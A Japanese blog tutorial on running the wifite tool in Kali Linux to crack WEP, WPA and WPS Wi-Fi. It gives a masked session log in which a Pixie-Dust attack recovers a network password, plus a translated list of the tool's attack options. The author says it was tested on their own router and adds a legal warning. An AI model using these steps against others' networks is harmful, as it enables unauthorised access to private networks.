【注意】このサイトに記載されていることを他人に試すことは「不正アクセス禁止法」に該当する場合があります。詳しくはこちらから

ハッカーはwifiteでWEP、WPAをクラックする(Kali Linux)

ホワイトハッカーの知識WEP,WPA,無線LAN

WEP、WPAがクラックについて理解するためにまとめてみました。
この動作確認は自分のWIFIルーターでテストを行っています。

wifiteとは

Wifiteはターミナルからコマンドを使用して無線 LANクラックを行うツールです。
自動的にターゲットを検索して、事前に用意された攻撃方法を選んで勝手に攻撃してくれる。1つの攻撃方法が失敗してもさまざまな攻撃方法を試してくれます。
複数のWEP、WPA、WPS暗号化ネットワークを連続して攻撃するために。このツールは、いくつかの引数を指定するだけで自動化できるようにカスタマイズ可能です。Wifiteは、"set it and forget it “の無線監査ツールを目指しています。
 

機能

  • 信号強度(dB)でターゲットをソートし、最も近いアクセスポイントから順にクラックする
  • 隠れたネットワークのクライアントの認証を自動的に解除し、SSIDを明らかにする
  • 攻撃対象を正確に指定するための多数のフィルタ(wep/wpa/both、特定の信号強度以上、チャネルなどカスタマイズ可能な設定(タイムアウト、パケット数/秒など)
  • 攻撃する前にMACをランダムなアドレスに変更し、攻撃が完了すると元に戻す「匿名」機能
  • キャプチャされたWPAハンドシェイクはすべてwifite.pyのカレントディレクトリにバックアップされます
  • スマートなWPA認証解除:すべてのクライアントとブロードキャスト認証の間でサイクルする
  • Ctrl+Cで攻撃を停止し、継続、次のターゲットへの移動、クラッキングへのスキップ、終了のオプションが可能
  • 終了時にセッションサマリーを表示し、クラックされたキーを表示
  • すべてのパスワードを cracked.txt に保存
 

ツールの場所

[Applications]→[06-Wireless Attacks]→[wifite]
 

ツールと使用方法

wifite
 
例 wifite
 
【実行イメージ】少し端折って整形しています。
(個人情報はマスクしています。)
┌──(kali__kali)-[~]
└─$ sudo su
sudo: ホスト localhost.localdomain の名前解決ができません: 名前解決に一時的に失敗しました
[sudo] kali のパスワード:
 
// wifiteを実行します。
┌──(kali__kali)-[/home/kali]
└─# wifite
   .               .    
 .´    .     .    `.  wifite2 2.5.8
 :  :  :  ()  :  :  :  a wireless auditor by derv82
 `.    ` /\ ´    .´  maintained by kimocoder
   `     /     ´    https://github.com/kimocoder/wifite2


[!] Warning: Recommended app pyrit was not found. install @ https://github.com/JPaulMora/Pyrit/wiki
[!] Warning: Recommended app hcxdumptool was not found. install @ apt install hcxdumptool
[!] Warning: Recommended app hcxpcapngtool was not found. install @ apt install hcxtools


[+] Using wlan0mon already in monitor mode
NUM                      ESSID   CH  ENCR   POWER  WPS?  CLIENT
---  -------------------------  ---  -----  -----  ----  ------
  1                   x-xx-2G     1  WPA-P   51db    no
  2            xxxxx-xxxxxx-g     7  WPA-P   43db    no
  3           xxxxx-xxxxxx-gw     7  WEP   43db    no
[+] Scanning. Found 3 target(s), 3 client(s). Ctrl+C when ready
 ------------------------------------------------
[+] Scanning. Found 3 target(s), 3 client(s). Ctrl+C when ready
 
// Ctrl+Cで停止させます。
NUM                      ESSID   CH  ENCR   POWER  WPS?  CLIENT
---  -------------------------  ---  -----  -----  ----  ------
  1                   x-xx-2G     1  WPA-P   51db    no
  2            xxxxx-xxxxxx-g     7  WPA-P   43db    no
  3           xxxxx-xxxxxx-gw     7  WEP   43db    no
 [+] Scanning. Found 3 target(s), 3 client(s). Ctrl+C when ready ^C


// ハッキング対象のESSIDの番号を入力します。(例:3)
---  -------------------------  ---  -----  -----  ----  ------
NUM                      ESSID   CH  ENCR   POWER  WPS?  CLIENT
  1                   x-xx-2G     1  WPA-P   51db    no
  2            xxxxx-xxxxxx-g     7  WPA-P   43db    no
  3           xxxxx-xxxxxx-gw     7  WEP   43db    no
[+] select target(s) (1-3) separated by commas, dashes or all: 3
 
// 解析が始まります。
[+] (1/1) Starting attacks against FF:FF:FF:FF:FF:FF (xxxxx-xxxxxx-gw)
[+] attempting fake-authentication with FF:FF:FF:FF:FF:FF... success
[+] xxxxx-xxxxxx-gw (42db) WEP replay: 0/10000 IVs, no-auth, Waiting for packet...
[!] restarting aireplay after 11 seconds of no new IVs
[+] xxxxx-xxxxxx-gw (40db) WEP replay: 1/10000 IVs, no-auth, Waiting for packet...
[!] restarting aireplay after 11 seconds of no new IVs
[+] xxxxx-xxxxxx-gw (42db) WEP replay: 1/10000 IVs, fakeauth, Waiting for packet...
[!] restarting aireplay after 11 seconds of no new IVs
[+] xxxxx-xxxxxx-gw (42db) WEP replay: 17/10000 IVs, fakeauth, Waiting for packet...
[!] restarting aireplay after 11 seconds of no new IVs
[+] xxxxx-xxxxxx-gw (42db) WEP replay: 17/10000 IVs, fakeauth, Waiting for packet...
[!] restarting aireplay after 11 seconds of no new IVs
[+] xxxxx-xxxxxx-gw (40db) WEP replay: 18/10000 IVs, fakeauth, Waiting for packet...
[!] restarting aireplay after 11 seconds of no new IVs
[+] xxxxx-xxxxxx-gw (40db) WEP replay: 18/10000 IVs, fakeauth, Waiting for packet...
 :
 :
 
// 解析できなかった場合、解析プログラムを変更するためにCtrl+Cで停止させます。
[+] xxxxx-xxxxxx-gw (41db) WEP replay: 10251/10000 IVs, fakeauth, Waiting for packet... and c
[+] xxxxx-xxxxxx-gw (41db) WEP replay: 10251/10000 IVs, fakeauth, Waiting for packet... and c
[+] xxxxx-xxxxxx-gw (42db) WEP replay: 10251/10000 IVs, fakeauth, Waiting for packet... and cracking^C
// 解析プログラムの一覧が表示されます。
[!] Interrupted
[+] Next steps:
1: Deauth clients and retry replay attack against xxxxx-xxxxxx-gw
2: Start new fragment attack against xxxxx-xxxxxx-gw
3: Start new chopchop attack against xxxxx-xxxxxx-gw
4: Start new caffelatte attack against xxxxx-xxxxxx-gw
5: Start new p0841 attack against xxxxx-xxxxxx-gw
6: Start new hirte attack against xxxxx-xxxxxx-gw
7: Stop attacking, Move onto next target
[?] Select an option (1-7):
アクセスが成功した時です。
[+] (1/1) Starting attacks against FF:FF:FF:FF:FF:FF (xxxxx-xxxxxx-gw)
[+] xxxxx-xxxxxx-gw (42db) WPS Pixie-Dust: [4m56s] Cracked WPS PIN: 123456789 PSK: zzzzzzzz4e3b8
[+]        ESSID: xxxxx-xxxxxx-gw
[+]        BSSID: FF:FF:FF:FF:FF:FF
[+]   Encryption: WPA (WPS)
[+]      WPS PIN: 123456789
[+] PSK/Password: zzzzzzzz4e3b8
[+] saved crack result to cracked.json (1 total)
[+] Finished attacking 1 target(s), exiting
 

オプション(arguments)

-h, –help

show this help message and exit.
このヘルプメッセージを表示して終了します。

-v, –verbose

Shows more options (-h -v). Prints commands and outputs. (default: quiet)
その他のオプションを表示します(-h -v)。コマンドや出力を印刷します。(デフォルト: クワイエット)

-i [interface]

Wireless interface to use, e.g. wlan0mon. (default: ask)
使用するワイヤレスインターフェース(例:wlan0mon)。(デフォルト: ask)

-c [channel]

Wireless channel to scan e.g. 1,3-6. (default: all 2Ghz channels)
スキャンするワイヤレスチャンネル(例:1,3-6)。(デフォルト: すべての2Ghzチャンネル)

-inf, –infinite

Enable infinite attack mode. Modify scanning time with -p. (default: off)
無限アタックモードを有効にする。pでスキャン時間を変更します。(デフォルト:off)

-mac, –random-mac

Randomize wireless card MAC address. (default: off)
ワイヤレスカードのMACアドレスをランダム化します。(デフォルト:オフ)

-p [scan_time]

Pillage: Attack all targets after scan_time. (seconds)
ピレッジ。scan_timeの後にすべてのターゲットを攻撃する。(秒)

–kill

Kill processes that conflict with Airmon/Airodump. (default: off)
Airmon/Airodumpと競合するプロセスをキルします。(デフォルト:オフ)

-pow [min_power], –power [min_power]

Attacks any targets with at least min_power signal strength.
min_power以上の信号強度を持つターゲットを攻撃します。

–skip-crack

Skip cracking captured handshakes/pmkid. (default: off)
キャプチャーされたハンドシェイク/pmkidのクラッキングをスキップします。(デフォルト: off)

-first [attack_max], –first [attack_max]

Attacks the first attack_max targets.
最初のattack_maxターゲットを攻撃する。

–clients-only

Only show targets that have associated clients. (default: off)
関連するクライアントを持つターゲットのみを表示します。(デフォルト: オフ)

–nodeauths

Passive mode: Never deauthenticates clients. (default: deauth targets)
パッシブモード。クライアントの認証を解除しません。(デフォルト: ターゲットを認証解除)

–daemon

Puts device back in managed mode after quitting. (default: off)
終了後、デバイスをマネージドモードに戻します。(デフォルト:off)
 
 
WEP:

–wep

Show only WEP-encrypted networks.
WEPで暗号化されたネットワークのみを表示します。

–require-fakeauth

Fails attacks if fake-auth fails. (default: off)
fake-authが失敗した場合、攻撃を失敗させます。(デフォルト: オフ)

–keep-ivs

Retain .IVS files and reuse when cracking. (default: off)
.IVSファイルを保持し、クラック時に再利用する。(デフォルト: オフ)
 
 
WPA:

–wpa

Show only WPA-encrypted networks. (includes WPS)
WPAで暗号化されたネットワークのみを表示します。(WPSを含む)

–new-hs

Captures new handshakes, ignores existing handshakes in hs. (default: off)
新しいハンドシェイクをキャプチャし、hsにある既存のハンドシェイクを無視する。(デフォルト: オフ)

–dict [file]

File containing passwords for cracking. (default: /usr/share/dict/wordlist-probable.txt) 
クラッキング用のパスワードを含むファイル。(デフォルト: /usr/share/dict/wordlist-probable.txt)
 
 
WPS:

–wps

Show only WPS-enabled networks.
WPS対応のネットワークのみを表示します。

–wps-only

Only use WPS PIN & Pixie-Dust attacks. (default: off)
WPS PINとPixie-Dust攻撃のみを使用します。(デフォルト:オフ)

–bully

Use bully program for WPS PIN & Pixie-Dust attacks. (default: reaver)
WPS PINやPixie-Dustの攻撃にいじめっ子プログラムを使用します。(デフォルト: リーバー)

–reaver

Use reaver program for WPS PIN & Pixie-Dust attacks. (default: reaver)
WPS PINおよびPixie-Dust攻撃にreaverプログラムを使用します。(デフォルト: reaver)

–ignore-locks

Do not stop WPS PIN attack if AP becomes locked. (default: stop)
APがロックされてもWPS PIN攻撃を停止しない。(デフォルト:停止)
 
 
PMKID:

–pmkid

Only use PMKID capture, avoids other WPS & WPA attacks. (default: off)
PMKIDキャプチャのみを使用し、他のWPSおよびWPA攻撃を回避します。(デフォルト:オフ)

–no-pmkid

Don’t use PMKID capture. (default: off)
PMKIDキャプチャーを使用しません。(デフォルト: オフ)

–pmkid-timeout [sec]

Time to wait for PMKID capturev. (default: 120 seconds)
PMKID capturevを待つ時間。(デフォルト: 120秒)
 
 
COMMANDS:

–cracked

Print previously-cracked access points.
今まで割れていたアクセスポイントを印刷する。

–check [file]

Check a .cap file (or all hs/*.cap files) for WPA handshakes.
.capファイル(またはすべてのhs/*.capファイル)のWPAハンドシェイクをチェックします。

–crack

Show commands to crack a captured handshake.
キャプチャしたハンドシェイクをクラックするコマンドを表示します。
 
 

wifiteツールのまとめ

 
時間はかかりましたが、意外に簡単にクラックできました。
「Fern Wifi Cracker」は自分で辞書を作成したのでクラックできましたが、「wifite」は半自動でクラックできました。
恐ろしいツールです。
 
攻撃方法も6個あります。
  1. aireplay attack
  2. fragment attack
  3. chopchop attack
  4. caffelatte attack
  5. p0841 attack
  6. hirte attack
ヒットしなかったらCtrl+Cで停止させて攻撃方法を変更できるのも良いですね。